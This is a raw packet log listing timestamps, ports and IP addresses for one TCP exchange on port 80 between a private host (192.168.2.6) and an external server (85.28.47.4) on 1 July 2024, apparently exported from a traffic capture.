Jul 1, 2024 07:20:45.127957106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127959967 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127975941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128000975 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128357887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128393888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128475904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128494024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128505945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128510952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128520966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128526926 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128542900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128560066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128606081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128619909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128632069 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128638983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128644943 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128654003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128659010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128671885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128671885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128690958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128694057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128715038 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128715992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128731012 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128741026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128741980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128752947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128756046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128773928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128786087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128797054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128798962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128798962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128817081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128823042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128830910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128845930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128848076 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128859043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128865957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128873110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128885984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128891945 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128900051 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.128920078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.128937006 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.217516899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.217534065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.217552900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.217586994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.217597961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.217609882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.217622042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.217725992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.217736006 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.217740059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.217736959 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.217777014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.217786074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.217843056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.217869043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.217880964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.217909098 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218054056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218080044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218092918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218096972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218112946 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218116045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218120098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218132973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218132973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218147039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218173027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218199015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218211889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218224049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218235970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218240976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218251944 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218276978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218363047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218374968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218389034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218400955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218404055 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218417883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218441963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218539000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218559027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218569040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218580961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218594074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218602896 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218609095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218626976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218635082 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218641043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218658924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218679905 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218864918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218877077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218888044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218905926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.218913078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218930006 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.218954086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219140053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219166994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219177961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219187975 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219192982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219206095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219208956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219223022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219223022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219237089 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219240904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219259977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219263077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219288111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219315052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219482899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219500065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219516039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219523907 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219527960 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219540119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219543934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219552994 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219578981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219638109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219650030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219662905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219679117 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219688892 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219713926 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219773054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219790936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219803095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219810963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219815016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.219825983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219846010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.219861031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220088005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220101118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220113039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220124006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220132113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220135927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220149994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220151901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220180035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220197916 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220221996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220233917 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220244884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220256090 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220262051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220268965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220272064 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220283031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220295906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220319986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220582962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220602989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220613956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220623970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220650911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220671892 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220729113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220741987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220760107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220769882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220777035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220793009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220824003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220865011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220876932 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220887899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220901966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.220906019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220922947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.220937967 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.221144915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221155882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221167088 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221190929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.221219063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.221262932 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221302986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221313000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221323967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221334934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.221335888 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221369982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.221467972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221482038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221493006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221504927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221503973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.221503973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.221546888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.221569061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.221652985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221664906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221704960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.221704960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.221802950 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221805096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221846104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.221856117 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.221967936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221981049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.221992016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222002983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222012997 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.222016096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222037077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.222062111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.222166061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222177982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222192049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222220898 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.222228050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222242117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222244978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.222254038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222265959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222268105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.222278118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222287893 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.222290993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222302914 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222313881 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.222326994 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.222357988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.222362041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222378016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222395897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222409964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.222417116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.222417116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.222444057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.222459078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.306868076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.306881905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.306893110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.306905031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.306915045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.306926012 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.306937933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.306983948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.306999922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307012081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307034969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307064056 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307080984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307091951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307110071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307116032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307122946 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307136059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307142973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307151079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307173967 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307188034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307200909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307213068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307224035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307235003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307244062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307267904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307327032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307358980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307404041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307415962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307427883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307436943 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307457924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307461023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307472944 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307492018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307518005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307534933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307547092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307559967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307570934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307574034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307580948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307590961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307598114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307615995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307630062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307750940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307761908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307779074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307789087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307790041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307801008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307804108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307818890 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307869911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307869911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307914019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307951927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307952881 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.307970047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307988882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.307990074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308007956 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308023930 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308080912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308100939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308123112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308118105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308134079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308144093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308156013 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308156967 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308167934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308172941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308181047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308188915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308192968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308207035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308218956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308223963 CEST	49711	80	192.168.2.6	85.28.47.4
